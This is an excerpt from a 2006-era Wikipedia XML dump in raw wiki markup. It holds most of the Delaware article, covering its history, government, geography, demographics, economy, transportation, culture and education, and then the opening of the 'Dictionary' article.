===American Revolution===
Like the other middle colonies, the Lower Counties on the Delaware initially lacked much enthusiasm for a break with [[Great Britain]]. They had a good relationship with the Proprietary government, and generally were allowed more independence of action in their [[General Assembly|Colonial Assembly]] than other colonies. Nevertheless, there was strong objection to the seemingly arbitrary measures of [[Parliament]], and it was well understood that the territory's very existence as a separate entity depended upon its keeping step with its powerful neighbors, especially [[Pennsylvania]].

So it was that [[New Castle, Delaware|New Castle]] lawyer, [[Thomas McKean]] denounced the [[Stamp Act]] in the strongest terms, and [[Kent County, Delaware|Kent County]] native, [[John Dickinson (1732-1808)|John Dickinson]], became the &quot;Penman of the Revolution.&quot; Anticipating the [[Declaration of Independence (United States)|Declaration of Independence]], patriot leaders [[Thomas McKean]] and [[Caesar Rodney]] convinced the [[General Assembly|Colonial Assembly]] to declare itself separated from British and Pennsylvania rule on [[June 15]], [[1776]], but the person best representing Delaware's majority, [[George Read (1733-1798)|George Read]], could not bring himself to vote for a [[Declaration of Independence (United States)|Declaration of Independence]].  Only the dramatic overnight ride of [[Caesar Rodney]] gave the delegation the votes needed to cast Delaware's vote for Independence. Once the [[Declaration of Independence (United States)|Declaration]] was adopted, however, [[George Read (1733-1798)|Read]] signed the document. 

Initially led by [[John Haslet (1727-1777)|John Haslet]], Delaware provided one of the premier regiments in the [[Continental Army]], known as the &quot;Delaware Blues&quot; and nicknamed the &quot;[[Blue Hen Chicken]]s.&quot; In August [[1777]] [[William Howe|General Sir William Howe]] led a British army through Delaware on his way to a victory at the [[Battle of Brandywine]] and capture of the city of [[Philadelphia, Pennsylvania|Philadelphia]]. The only real engagement on Delaware soil was fought on [[September 3]], [[1777]], at Cooch's Bridge in [[New Castle County, Delaware|New Castle County]]. It is believed to be the first time that the Stars and Stripes was flown in battle. 

Following the [[Battle of Brandywine]], [[Wilmington, Delaware|Wilmington]] was occupied by the British and [[Governor of Delaware|State President]] [[John McKinly]] was taken prisoner. The Britsh remained in control of the [[Delaware River]] for much of the rest of the war, disrupting commerce and providing encouragement to an active [[Loyalist]] portion of the population, particularly in [[Sussex County, Delaware|Sussex County]]. Only the repeated military activities of [[Governor of Delaware|State President]] [[Caesar Rodney]] was able to control them.

Following the [[American Revolution]], statesmen from Delaware were among the leading proponents of a strong central [[United States]] government with equal representation for each state. Once the [[Connecticut Compromise]] was reached creating a [[United States Senate|U.S. Senate]] and [[United States House of Representatives|U.S. House of Representatives]], the leaders in Delaware were able to easily secure ratification of the [[U.S. Constitution]] on [[December 7]], [[1787]], making Delaware the first state to do so.

===Slavery===
With two-thirds of the state settled by descendants of slave holding [[Maryland]] [[tobacco]] farmers, large parts of Delaware had a long tradition of acceptance of the institution of [[slavery]]. This was in spite of the fact that farmers increasingly had such little use for slaves that by the [[1860]] census there were only about 1,800 slaves in a state of 90,000 people, including nearly 20,000 free [[African Americans]]. When he freed his slaves in [[1777]], [[John Dickinson (1732-1808)|John Dickinson]] was Delaware's largest slave owner with 37 slaves.

The oldest black [[religious denomination|church]] in the country was chartered in Delaware by former-slave [[Peter Spencer]] in 1813 as the &quot;[[Spencer Churches|Union Church of Africans]],&quot; which is now the [[A.U.M.P. Church]].  The [[Big August Quarterly]] which began in 1814 is still celebrated and is the oldest such cultural festival in the country. 

During the [[American Civil War]], Delaware was a slave state that remained in the Union (Delaware voters voted not to secede on [[January 3]], [[1861]]). Delaware had been the first state to embrace the Union by ratifying the constitution, and would be the last to leave it, according to Delaware's governor at the time. While most Delaware citizens who fought in the War served in the regiments the State answered Lincoln's call to arms with, some did in fact serve in Delaware companies on the Confederate side in Maryland and Virginia Regiments. 

Two months before the end of the Civil War, however, Delaware voted on [[February 18]], [[1865]] to reject the [[Thirteenth Amendment to the United States Constitution|13th Amendment]] to the United States Constitution and so voted unsuccessfully to continue slavery beyond the Civil War. Delaware symbolically ratified the amendment on February 12, 1901&amp;mdash;40 years after [[Abraham Lincoln|Lincoln]]'s [[Emancipation Proclamation]]. Slavery ended in Delaware only when the [[Thirteenth Amendment to the United States Constitution|Thirteenth Amendment]] took effect in December of 1865.  Delaware also rejected the [[Fourteenth Amendment to the United States Constitution|14th amendment]] during the [[Reconstruction]] Era.

== Law, government, and politics ==
[[Image:wiki_delaware.jpg|thumb|right|350px|Greetings from Delaware]]

Delaware's fourth and current constitution, adopted in [[1897]], provides for executive, judicial and legislative branches.

=== Legislative branch===
[[Delaware General Assembly]] consists of a [[Delaware House of Representatives|House of Representatives]] with 41 members and a [[Delaware Senate|Senate]] with 21 members.  It sits in [[Dover, Delaware]], the State capital. Representatives are elected to two-year terms, while Senators are elected to four-year terms.  The Senate confirms judicial and other nominees appointed by the Governor.

===Judicial branch===
The Delaware Constitution establishes a number of courts:
*The [[Delaware Supreme Court]] is the state's highest court. 
*The Superior Court of Delaware is the state's trial court of general jurisdiction.
*The [[Court of Chancery]] deals primarily in corporate disputes.
*The Family Court handles domestic and custody matters.
*The Court of Common Pleas has jurisdiction over a limited class of civil and criminal matters.

Minor non-constitutional courts include the [[Justice of the Peace]] Courts and Aldermen's Courts.

Significantly, Delaware has one of the few remaining Courts of [[Chancery]] in the nation, which has jurisdiction over [[equity]] cases, the vast majority of which are corporate disputes, many relating to [[mergers and acquisitions]].  The Court of Chancery and the Supreme Court have developed a worldwide reputation for rendering concise opinions concerning corporate law which generally (but not always) grant broad discretion to corporate boards of directors and officers.  In addition, the [[Delaware General Corporation Law]], which forms the basis of the Courts' opinions, is widely regarded as giving great flexibility to corporations to manage their affairs.  For these reasons, Delaware is considered to have the most business-friendly legal system in the United States; therefore a great number of public and private companies are [[Delaware corporation|incorporated in Delaware]].

===Executive branch===
The executive branch is headed by the [[Governor of Delaware]].  The present governor is [[Ruth Ann Minner]] (Democrat), who was elected as the state's first female governor in 2000.  The lieutenant governor is [[John C. Carney, Jr.]].  Delaware's U.S. Senators are [[Joe Biden|Joseph R. Biden, Jr.]] (Democrat) and [[Thomas R. Carper]] (Democrat).  Delaware's single US Representative is [[Michael N. Castle]] (Republican).

{{see|List of Governors of Delaware}}

===Politics===
Delaware has three counties: [[Kent County, Delaware|Kent County]], [[New Castle County, Delaware|New Castle County]], and [[Sussex County, Delaware|Sussex County]]. ''See: [[List of counties in Delaware]]''   Each county elects its own legislative body (known in New Castle and Sussex counties as '''County Council''', and in Kent County as '''Levy Court'''), which deal primarily in zoning and development issues.  Most functions which are handled on a county-by-county basis in other states -- such as courts, law enforcement, and the like -- have been centralized in Delaware, leading to a significant concentration of power in the Delaware state government.

The Democratic Party holds a [[plurality]] of registrations in Delaware.  Until the [[U.S. presidential election, 2000|2000]] Presidential election, the state tended to be a Presidential [[bellwether]], sending its three [[electoral votes]] to the winning candidate for over 50 years in a row.  Bucking that trend, however, in 2000 and again in 2004 Delaware voted for the Democratic candidate.  [[John Kerry]] won Delaware by eight percentage points with 53.5% of the vote in 2004.

Historically, the Republican Party had an immense influence on Delaware politics, due in large part to the monied [[Du Pont family|du Pont family]].  This trend was so notable that [[Ralph Nader]] assembled a [[working group]] to investigate Delaware's political-industrial complex, resulting in a book published in [[1968]] entitled ''The Company State''.  As DuPont's might has declined, so has that of the Delaware Republican Party.  The Democrats have won the past four gubernatorial elections and currently hold six of the nine statewide elected offices (Governor, Lieutenant Governor, Treasurer, Insurance Commissioner, Attorney General, U.S. Representative-at-large, and two U.S. Senators).  However, this belies the fact that the Democratic Party gains most of its votes from heavily-developed New Castle County, whereas the lesser-populated Kent and Sussex Counties vote Republican.

== Geography == 
[[Image:datamil_de_map.jpg|thumb|left|Map of Delaware]]

Delaware is bounded to the north by Pennsylvania, to the east by the Delaware River and the Atlantic Ocean and to the west and south by Maryland. Small portions of Delaware are also situated on the far, or eastern, side of the Delaware River Estuary, and these small parcels share land boundaries with New Jersey. The largest city is [[Wilmington, Delaware|Wilmington]], and the capital is [[Dover, Delaware|Dover]]. 

The state of Delaware, together with the Eastern Shore counties of Maryland and two counties of Virginia, form the [[Delmarva Peninsula]], a geographical unit stretching far down the Mid-Atlantic and into the South Atlantic Coast. 

The definition of the northern boundary of the state is highly unusual.  Most of the boundary between Delaware and Pennsylvania is defined as an arc extending twelve miles from the [[cupola]] of the courthouse in [[New Castle, Delaware|New Castle]], and is referred to as the [[Twelve-Mile Circle]], being the only true-arc political boundary in the United States.  This border extends all of the way to the low-tide mark on the [[New Jersey]] shore, which continues down the shoreline until it again reaches the twelve-mile arc in the south; then the boundary continues in a more conventional way in the middle of the main channel ([[thalweg]]) of the [[Delaware River]] [[Estuary]].  A portion of this arc extends into Maryland to the west, and the remaining western border is a tangent to this arc that runs a bit to the east.  The wedge of land between the arc and the Pennsylvania-Maryland border remained in dispute until [[1921]], when the land was given to Maryland.  The border between New Jersey and Delaware is still disputed.

===Topography===
Delaware lies on a level plain, the highest elevation being less than 450 feet above sea level.  The northern part is associated with the [[Piedmont (United States)|Appalachian Piedmont]] and is hilly, with a rolling surface.  South of Newark and Wilmington, the state follows the [[Atlantic Coastal Plain]] with flat, sandy, and, in some parts, swampy ground.  A [[ridge]] about 75 to 80 feet in altitude extends along the western boundary of the state and is the drainage divide between the two major watersheds of the [[Delaware River|Delaware]] in the east and of several streams falling into [[Chesapeake Bay]] in the west.  The principal streams draining into the Delaware are the [[Christina River|Christina]] and the [[Brandywine Creek|Brandywine]] rivers.  The Christina is navigable for large ships as far as [[Wilmington, Delaware|Wilmington]], and for small ships as far as [[Newport, Delaware|Newport]].  The coast of [[Delaware Bay]] is marshy; the Atlantic coast has many sand beaches, enclosing shallow lagoons.  The largest of these are [[Rehoboth Bay]], [[Indian River Bay]], and a portion of [[St. Martin's Bay]].  The only harbors of consequence are Wilmington, [[Lewes, Delaware|Lewes]], and New Castle.

===Climate===
Since the great majority of Delaware is a part of the [[Atlantic Coastal Plain]], the climate is moderated by the effects of the ocean.  The southern third of the state has a mild subtropical climate, with hot, humid summers and mild winters.  The middle portion is the transition to the upper portion of the state, which has a warm continental climate and receives occasional winter snowfall.

== Demographics ==
[[Image:Delaware_population_map.png|thumb|right|300px|Delaware Population Density Map]]

As of 2005, Delaware has an estimated population of 843,524, which is an increase of 13,455, or 1.6%, from the prior year and an increase of 59,924, or 7.6%, since the year 2000.  This includes a natural increase since the last census of 21,978 people (that is 58,699 births minus 36,721 deaths) and an increase due to net migration of 39,138 people into the state.  Immigration from outside the United States resulted in a net increase of 11,226 people, and migration within the country produced a net increase of 27,912 people.

The racial breakdown of the state is:
*72.5% [[Whites|White]]
*19.2% [[Blacks|Black]]
*4.8% [[Hispanics|Hispanic]]
*2.1% [[Asian American|Asian]]
*0.3% [[Native American (U.S. Census)|Native American]]
*1.7% [[Mixed race]]

The five largest ancestries in Delaware are: [[African American]] (19.2%), [[Irish American|Irish]] (16.6%), [[German-American|German]] (14.3%), [[British-American|English]] (12.1%), [[Italian-American|Italian]] (9.3%). Delaware has the largest [[African American]] population, percentage-wise, north of Maryland, and had the largest population of [[free black]]s (17%) prior to the Civil War.
As of 2000, 90.5% of Delaware residents age 5 and older speak [[English language|English]] at home and 4.7% speak [[Spanish language|Spanish]]. [[French language|French]] is the third most spoken language at 0.7%, followed by [[Chinese language|Chinese]] at 0.5% and [[German language|German]] at 0.5%.

===Religion===
The religious affiliations of the people of Delaware are:

*[[Christianity|Christian]] &amp;ndash; 79%
**[[Protestantism|Protestant]] &amp;ndash; 68%
***[[Methodism|Methodist]] &amp;ndash; 22%
***[[Baptist]] &amp;ndash; 21%
***[[Lutheranism|Lutheran]] &amp;ndash; 4%
***[[Presbyterianism|Presbyterian]] &amp;ndash; 3%
***[[Pentecostalism|Pentecostal]] &amp;ndash; 3%
***Other Protestant or general Protestant &amp;ndash; 15%
**[[Roman Catholicism|Roman Catholic]] &amp;ndash; 10%
**Other Christian &amp;ndash; 1%
*Other Religions &amp;ndash; 2%
*Non-Religious &amp;ndash; 19%

== Important cities ==
Wilmington is the state's largest city and its economic hub.  It is located within commuting distance of both Philadelphia and Baltimore.   Despite Wilmington's size, all regions of Delaware are enjoying phenomenal growth, with Dover and the beach resorts expanding immensely.  
{| width=100%
|- valign=top
|width=33%|
; Cities and Towns
* [[Bear, Delaware|Bear]]
* [[Brookside, Delaware|Brookside]]
* [[Claymont, Delaware|Claymont]]
* [[Elsmere, Delaware|Elsmere]]
* [[Glasgow, Delaware|Glasgow]]
* [[Hockessin, Delaware|Hockessin]]
* [[New Castle, Delaware|New Castle]]
* [[Newark, Delaware|Newark]]
* [[Wilmington, Delaware|Wilmington]]
* 
|width=33%|
; More Cities and Towns
* [[Dover, Delaware|Dover]]
* [[Georgetown, Delaware|Georgetown]]
* [[Lewes, Delaware|Lewes]]
* [[Middletown, Delaware|Middletown]]
* [[Milford, Delaware|Milford]]
* [[Rehoboth Beach, Delaware|Rehoboth Beach]]
* [[Seaford, Delaware|Seaford]]
* [[Smyrna, Delaware|Smyrna]]
| [[Image:National-atlas-delaware.png|thumb|Delaware cities]]
|}
{| class=&quot;toccolours&quot; align=&quot;right&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin:0 0 1em 1em; font-size: 95%;&quot;
|-
! colspan=2 bgcolor=&quot;#ccccff&quot; align=&quot;center&quot;| Historical populations
|-
! align=&quot;center&quot;| Census&lt;br&gt;year !! align=&quot;right&quot;| Population
|-
| colspan=2|&lt;hr&gt;
|-
| align=&quot;center&quot;| 1790 || align=&quot;right&quot;| 59,096
|-
| align=&quot;center&quot;| 1800 || align=&quot;right&quot;| 64,273
|-
| align=&quot;center&quot;| 1810 || align=&quot;right&quot;| 72,674
|-
| align=&quot;center&quot;| 1820 || align=&quot;right&quot;| 72,749
|-
| align=&quot;center&quot;| 1830 || align=&quot;right&quot;| 76,748
|-
| align=&quot;center&quot;| 1840 || align=&quot;right&quot;| 78,085
|-
| align=&quot;center&quot;| 1850 || align=&quot;right&quot;| 91,532
|-
| align=&quot;center&quot;| 1860 || align=&quot;right&quot;| 112,216
|-
| align=&quot;center&quot;| 1870 || align=&quot;right&quot;| 125,015
|-
| align=&quot;center&quot;| 1880 || align=&quot;right&quot;| 146,608
|-
| align=&quot;center&quot;| 1890 || align=&quot;right&quot;| 168,493
|-
| align=&quot;center&quot;| 1900 || align=&quot;right&quot;| 184,735
|-
| align=&quot;center&quot;| 1910 || align=&quot;right&quot;| 202,322
|-
| align=&quot;center&quot;| 1920 || align=&quot;right&quot;| 223,003
|-
| align=&quot;center&quot;| 1930 || align=&quot;right&quot;| 238,380
|-
| align=&quot;center&quot;| 1940 || align=&quot;right&quot;| 266,505
|-
| align=&quot;center&quot;| 1950 || align=&quot;right&quot;| 318,085
|-
| align=&quot;center&quot;| 1960 || align=&quot;right&quot;| 446,292
|-
| align=&quot;center&quot;| 1970 || align=&quot;right&quot;| 548,104
|-
| align=&quot;center&quot;| 1980 || align=&quot;right&quot;| 594,338
|-
| align=&quot;center&quot;| 1990 || align=&quot;right&quot;| 666,168
|-
| align=&quot;center&quot;| [[United States 2000 Census|2000]] || align=&quot;right&quot;| 783,600
|}

===Top 10 richest places in Delaware===
Ranked by [[per capita income]]

#[[Greenville, Delaware|Greenville]]: $83,223
#[[Henlopen Acres, Delaware|Henlopen Acres]]: $82,091
#[[South Bethany, Delaware|South Bethany]]: $53,624
#[[Dewey Beach, Delaware|Dewey Beach]]: $51,958
#[[Fenwick Island, Delaware|Fenwick Island]]: $44,415
#[[Bethany Beach, Delaware|Bethany Beach]]: $41,306
#[[Hockessin, Delaware|Hockessin]]: $40,516
#[[North Star, Delaware|North Star]]: $39,677
#[[Rehoboth Beach, Delaware|Rehoboth Beach]]: $38,494
#[[Ardentown, Delaware|Ardentown]]: $35,577

{{see|Delaware locations by per capita income}}

==Economy==
{{cleanup-date|October 2005}}
The gross state product of Delaware in 2003 was $49 billion.  The per capita personal income was $34,199, ranking 9&lt;sup&gt;th&lt;/sup&gt; in the nation.

Delaware's agricultural output consists of [[poultry]], nursery stock, [[soybeans]], [[dairy]] products and [[maize|corn]]. Its industrial outputs include [[chemical]] products, [[processed food]]s, [[paper]] products, and [[rubber]] and [[plastic]] products.  Delaware's economy generally outperforms the national economy of the United States. 

The state's largest employers are concentrated in government (State of Delaware, New Castle County, University of Delaware), chemical and pharmaceutical companies ([[DuPont|E.I. DuPont de Nemours &amp; Co.]], [[Syngenta]], [[AstraZeneca]], and [[Hercules, Incorporated]]), banking ([[MBNA]] America, [[Wilmington Trust Company]], [[First USA]] / [[Bank One]] / [[JPMorgan Chase]], AIG, Citigroup, Deutsche Bank), automotive manufacturing ([[General Motors]], [[DaimlerChrysler]]), and farming, specifically chicken farming in Sussex County (Perdue, Mountaire Farms).

The United States headquarters of [[ING Group]], and the U.S. operations of its online bank, ING Direct, are located in Wilmington, as are the world headquarters of [[MBNA]]. 

[[Dover Air Force Base]], just outside Dover, is one of the largest in the country and is a major employer in Central Delaware. In addition to its other responsibilities, the base serves as the entry point and [[mortuary]] for American military persons (and some U.S. government civilians) who die overseas.

==Transportation==
The transportation system in Delaware is under the governance and supervision of the Delaware Department of Transportation, also known as &quot;DelDOT&quot;.([http://www.deldot.gov/index.shtml])  DelDOT manages programs such as a Delaware [[Adopt-a-Highway]] program, major road route snow removal, traffic control infrastructure (signs and signals), toll road management, Delaware [[Division of Motor Vehicles]], the Delaware Transit Corporation (branded as &quot;DART First State&quot;, the state government public transportation organization), among others.  Almost ninety percent of the state's public roadway miles are under the direct maintenance of DelDOT which far exceeds the United States national average of twenty percent for state department of transportation maintenance responsibility; the remaining public road miles are under the supervision of individual municipalities.

One major branch of the U.S. [[Interstate Highway System]], [[Interstate 95]], crosses Delaware southwest-to-northeast across [[New Castle County, Delaware|New Castle County]].  In addition to I-95, there are seven [[principal highways]]: [[U.S. Highway 9]], [[U.S. Highway 13]], [[U.S. Highway 40]], [[U.S. Highway 113]], [[U.S. Highway 202]], [[U.S. Highway 301]], and [[Delaware Route 1]].  U.S. 13 and DE Rt. 1 are primary north-south highways connecting Wilmington and [[Pennsylvania]] with [[Maryland]], while U.S. 40, the primary east-west route, connects Maryland with New Jersey.  The state also operates two toll highways, the [[Delaware Turnpike]], which is Interstate 95 between Maryland and [[New Castle, Delaware|New Castle]] and the [[Korean War Veterans Memorial Highway]], which is DE Rt. 1 between Dover and Interstate 95 between Wilmington and [[Newark, Delaware|Newark]].     

Delaware has around 1,450 bridges, of which ninety-five percent are under the supervision of DelDOT.  About thirty percent of all Delaware bridges were built prior to 1950 and about sixty percent of the number are included in the [[National Bridge Inventory]].  Some bridges not under DelDOT supervision includes the four bridges on the [[Chesapeake and Delaware Canal]], which is under the jurisdiction of the [[U.S. Army Corps of Engineers]], and the [[Delaware Memorial Bridge]], which is under the bi-state [[Delaware River and Bay Authority]].  

The public transportation system, DART First State, was named &quot;Most Outstanding Public Transportation System&quot; in 2003 by the [[American Public Transportation Association]].  Coverage of the system is broad within New Castle County with close association to major highways in Kent and Sussex Counties.  The system includes bus, passenger rail, subsidized taxi and paratransit modes, the latter consisting of a state-wide door-to-door bus service for the elderly and disabled.  Passenger rail service, like interstate highway service, is limited to a single southwest-to-northeast corridor in New Castle County.  Ferry service exists between [[Lewes, Delaware]] and [[Cape May, New Jersey]], across the mouth of the [[Delaware Bay]].

== Culture ==
=== Media ===
There are no network broadcast-television stations operating solely in Delaware. A public-television station from Philadelphia, WHYY, maintains a studio and broadcasting facility in Wilmington.  Philadelphia's [[American Broadcasting Company|ABC]] affiliate, [[WPVI]], maintains a news bureau in downtown Wilmington.  The northern part of the state is served by network stations in [[Philadelphia, Pennsylvania]] and the southern part by network stations in [[Baltimore, Maryland|Baltimore]] and [[Salisbury, Maryland]].  Salisbury's [[CBS]] affiliate, [[WBOC]], maintains bureaus in Dover and Milton.

=== Religion ===
Delaware is home to the [[Roman Catholic Diocese of Wilmington]] and the [[Episcopal Diocese of Delaware]]. The [[A.U.M.P. Church]], the oldest African-American denomination in the nation, was founded in Wilmington and still has a very substantial presence in the state.  Delaware also hosts an [[Islamic]] [[mosque]] in the [[Ogletown, Delaware|Ogletown]] area, as well as a [[Hindu]] temple in [[Hockessin, Delaware|Hockessin]]. 

[[Synagogues]] include Congregation Beth Emeth (Reform) in Wilmington, Congregation Beth El (Reform) in Newark, and Congregation Beth Shalom (Conservative) in Wilmington, Congregation Beth Sholom (Conservative) in Dover, and Adas Kodesh Shel Emeth (Traditional) in Wilmington.

=== Sports ===
Delaware's  professional sports teams are the [[Wilmington Blue Rocks]] [[minor league baseball]] team, a Class A affiliate of the [[Boston Red Sox]] who play at [[Daniel S. Frawley Stadium]], and the [[Delaware Griffins]], part of the [[Women's Professional Football League]]. Delaware is also home to the Delaware Smash who play [[World Team Tennis]]. The Smash were led in 2005 by [[The Championships, Wimbledon|Wimbledon]] champion [[Venus Williams]].

In place of in-state professional sports teams, many Delawareans follow either [[Philadelphia]], [[New Jersey]], or [[Baltimore]] teams, depending on their location within the state, with Philadelphia teams receiving the largest fan following.  In addition, the [[University of Delaware]]'s football team has a loyal following, with [[Delaware State University]]'s team enjoying popularity on a much lesser scale.

Delaware is home to [[Dover International Speedway]] and [[Dover Downs]].  DIS, also known as the ''Monster Mile'', hosts two [[NASCAR]] races each year.  Dover Downs is a popular [[harness racing]] facility.  In what may be the only co-located horse and car-racing facility in the nation, the Dover Downs track is located inside the DIS track.

Delaware has been home to professional wrestling outfit [[CZW]], particularly the annual Tournament of Death.

=== Botanical gardens ===
*[[Delaware Center for Horticulture]]
*[[Mt. Cuba Center]]
*[[University of Delaware Botanic Gardens]]
*[[Winterthur Museum and Grounds]]

=== Music in Delaware ===
{{see|Music of Delaware}}

=== Festivals ===
The [[Big August Quarterly]] is an annual religious festival held in Wilmington, Delaware, and is sometimes called &quot;Big Quarterly&quot; or &quot;August Quarterly&quot;.  The festival began in [[1814]] by [[Peter Spencer]]  in connection with the &quot;quarterly&quot; meeting (or &quot;conference&quot;) of the [[Spencer Churches|African Union Church]].  Out of the four meetings during the year, the one in August became the &quot;annual conference&quot; of the Church when ministers' assignments for the next year were announced, among other business -- it was a time for free blacks and slaves alike to come together (from the multi-state area) and celebrate their faith with singing, dancing, testifying, and feasting. It is the oldest such celebration in the country. Senator Biden's remarks on the significance of the &quot;Big Quarterly&quot; were published in the ''Congressional Record for'' [[30 July]] [[1981]] (Vol. 127, No. 117) and for [[9 August]] [[1984]] (Vol 130, No. 106).

Every year, the [[Delaware Sängerbund]] ([[German language|German]] for ''Singers Alliance'') holds a three day long [[Oktoberfest]].  Although the cultural significance of the Sängerbund has diminished over the years, the festival is extremely popular and attracts visitors from all over the East Coast.

The city of Wilmington is home to several ethnic festivals, including the Puerto Rican Festival, which includes a parade, the Polish Festival, the Greek Festival held at the Greek Orthodox Church, and the Italian Festival. Wilmington's substantial [[Polish-American]] population supports a yearly [[Casimir Pulaski Day|Pulaski Day]] Parade in March as well as a summer Polish Festival, hosted by [[Hedwig of Poland|Saint Hedwig]]'s Roman Catholic Church.  The Italian Festival is held in an area of Wilmington known as Little Italy by Saint Anthony's Roman Catholic Church in Wilmington, and covers several blocks. It runs from sunup to sundown for a week, and features Italian food, merchandise, live music, bars, amusement park rides, and the All Saints parade on the closing night of the festival.

In [[Bethany Beach, Delaware|Bethany Beach]], the end of the summer season is honored each year with a traditional [[jazz funeral]] down the town's [[boardwalk]].  And at the end of October, [[Rehoboth Beach, Delaware|Rehoboth Beach]] holds its annual &quot;Sea Witch Halloween and Fiddlers' Festival&quot;.

One of Delaware's most bizarre -- and enjoyable -- traditions is Sussex County's [[Punkin Chunkin]], where unused pumpkins from the Halloween season are ejected almost one mile high in the air by [[hydraulic]] or air-powered cannons.  Putatively a competition to see which team can create the most powerful cannon, it is also a popular occasion for drinking and [[tailgate]] parties.

== Education ==
Delaware was the origin of ''[[Belton v. Gebhart]]'', one of the four cases which was combined into [[Brown v. Board of Education]], the [[Supreme Court of the United States]] decision that led to the end of [[racial segregation|segregated]] public schools.  Significantly, ''Belton'' was the only case in which the state court found '''for''' the plaintiffs, thereby ruling that segregation was unconstitutional.  Even more ironically, Delaware's segregated school system was substantially supported by donations from the wealthy [[Du Pont family|du Pont family]] beginning with the Civil War, when the [[DuPont|Du Pont Company]]'s profits grew thanks to a high demand for its gunpowder products.

Unlike many states, Delaware's educational system is centralized in a state Superintendent of Education, with local school boards retaining control over taxation and some curriculum decisions.  A statewide [[standardized test]], the Delaware Student Testing Program (DSTP), was implemented to comply with the [[No Child Left Behind Act]].

A &quot;three-tiered diploma&quot; system fostered by Governor Ruth Ann Minner, which awarded &quot;basic&quot;, &quot;standard&quot;, and &quot;distinguished&quot; high-school diplomas based on a student's performance in the Delaware State Testing Program, was recently discontinued by the General Assembly after many Delawarians questioned its fairness.

===Colleges and universities===
&lt;table&gt;&lt;tr&gt;&lt;td valign=top&gt;
*[http://www.law.widener.edu/ Widener University School of Law]
*[[Delaware State University]]
*[[Delaware Technical and Community College]]
*[[Drexel University]] at Wilmington
*[[Goldey-Beacom College]]
&lt;/td&gt;&lt;td valign=top&gt;
*[[University of Delaware]]
*[[Wesley College, Delaware|Wesley College]]
*[[Wilmington College]]
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

== Miscellaneous information ==
* The [[USS Delaware|USS ''Delaware'']] was named in honor of this state.
* Delaware is also known as ''The Diamond State'' and the ''Small Wonder''.
*There is no [[sales tax]] in Delaware.
* [[Reggae]] artist [[Bob Marley]] lived for a time in Delaware.

===Other places named Delaware===
{{see|Delaware (disambiguation)}}

There are cities, towns, boroughs, townships, and counties named &quot;Delaware&quot; in the states of [[Indiana]], [[Iowa]], [[New York]], [[Ohio]], [[Oklahoma]], [[Michigan]], [[Minnesota]], and several &quot;Delawares&quot; in each of the states of [[Pennsylvania]] and [[New Jersey]].  There's even a &quot;Delaware&quot; in the province of [[Ontario|Ontario, Canada]].

The [[Delaware River]] is a major river in the eastern United States, rising in [[New York]] State, forming the boundary between [[New Jersey]] and [[Pennsylvania]], and emptying into [[Delaware Bay]], which separates New Jersey from the state of Delaware.

===Delaware Native Americans===
'''Delaware''' is also the name of a [[Native Americans in the United States|Native American]] group (called in their own name [[Lenni Lenape]]) that was very influential in the dawning days of the United States.  A band of the Nanticoke tribe of Indians still remains in Sussex County.

===See also===
* [[Delaware Colony]]
* [[Delaware corporation]]
* Some neighboring states contain locations named [[Delaware Township]] or [[Delaware County]].
* [[Delaware state symbols]]

==External links==
{{sisterlinks|Delaware}}
*[http://www.delaware.gov/ State of Delaware homepage]
*[http://datamil.delaware.gov/ Delaware Map Data]
*[http://www.state.de.us/planning/information/dpc.shtml Delaware Population Projections]
*[http://usinfo.state.gov/usa/infousa/facts/democrac/24.htm The Emancipation Proclamation] Includes a short introduction.
*[http://www.access.gpo.gov/congress/senate/constitution/amdt13.html U.S. Senate site with the full U.S. Constitution and the Thirteenth Amendment] &quot;Slavery and Involuntary Servitude&quot;
*[http://quickfacts.census.gov/qfd/states/10000.html U.S. Census Bureau]
*[http://www.usnewspapers.org/state/delaware Delaware Newspapers]
*[http://delaware.historical-markers.org Delaware's Historical Markers]
*[http://www.newsday.com/news/local/wire/newjersey/ny-bc-nj--scotus-lngproject0123jan23,0,4409457.story?coll=ny-region-apnewjersey Article on the Delaware-New Jersey border dispute (1/26/2006)]

== References ==
; supporting the [[#Transportation|transportation section]]
* {{cite book
 | last = Delaware Department of Transportation Public Relations
 | year = 2004
 | title = Delaware Transportation Facts 2004
 | publisher = DelDOT Division of Planning
 | url = http://www.deldot.gov/static/pubs_forms/trans_facts/factbook_2004.pdf
 }}

{{United States}}
{{Delaware}}

[[Category:Delaware|*]]
[[Category:States of the United States]]
[[Category:1787 establishments]]

[[bg:Делауеър]]
[[ca:Delaware]]
[[da:Delaware]]
[[de:Delaware]]
[[eo:Delavaro]]
[[es:Delaware]]
[[et:Delaware]]
[[eu:Delaware]]
[[fi:Delaware]]
[[fr:Delaware]]
[[he:דלאוור]]
[[hu:Delaware]]
[[id:Delaware]]
[[is:Delaware fylki]]
[[it:Delaware]]
[[ja:デラウェア州]]
[[ka:დელავერი]]
[[ko:델라웨어 주]]
[[lt:Delaveras]]
[[lv:Delavēra]]
[[mk:Делавер]]
[[nl:Delaware]]
[[nn:Delaware]]
[[no:Delaware]]
[[os:Делавэр]]
[[pl:Delaware]]
[[pt:Delaware]]
[[ru:Делавэр]]
[[simple:Delaware]]
[[sk:Delaware (štát)]]
[[sl:Delaware]]
[[sq:Delaware]]
[[sr:Делавер]]
[[sv:Delaware]]
[[tr:Delaware]]
[[uk:Делавер]]
[[zh:德拉瓦州]]</text>
    </revision>
  </page>
  <page>
    <title>Dictionary</title>
    <id>7931</id>
    <revision>
      <id>42073459</id>
      <timestamp>2006-03-03T17:14:46Z</timestamp>
      <contributor>
        <username>Zsinj</username>
        <id>597658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/69.88.90.2|69.88.90.2]] to last version by Antandrus</comment>
      <text xml:space="preserve">{{otheruses}} ''For the sister project [[Wiktionary]], see [http://en.wiktionary.org/wiki/Main_Page http://wiktionary.org/].''

A '''dictionary''' is a list of words with their definitions, a list of characters with their [[glyph]]s, or a list of words with corresponding words in other languages. In some languages, words can appear in many different forms, but only the [[lemma (linguistics)|lemma]] form appears as the main word or headword in most dictionaries. Many dictionaries also provide [[pronunciation]] information; [[grammar|grammatical]] information; word derivations, histories, or [[etymology|etymologies]]; illustrations; usage guidance; and examples in phrases or sentences. Dictionaries are most commonly found in the form of a book.
[[Image:Latin_dictionary.jpg|thumb|250px|multi-volume Latin dictionary in the [[University Library of Graz]]]]

==Word order==

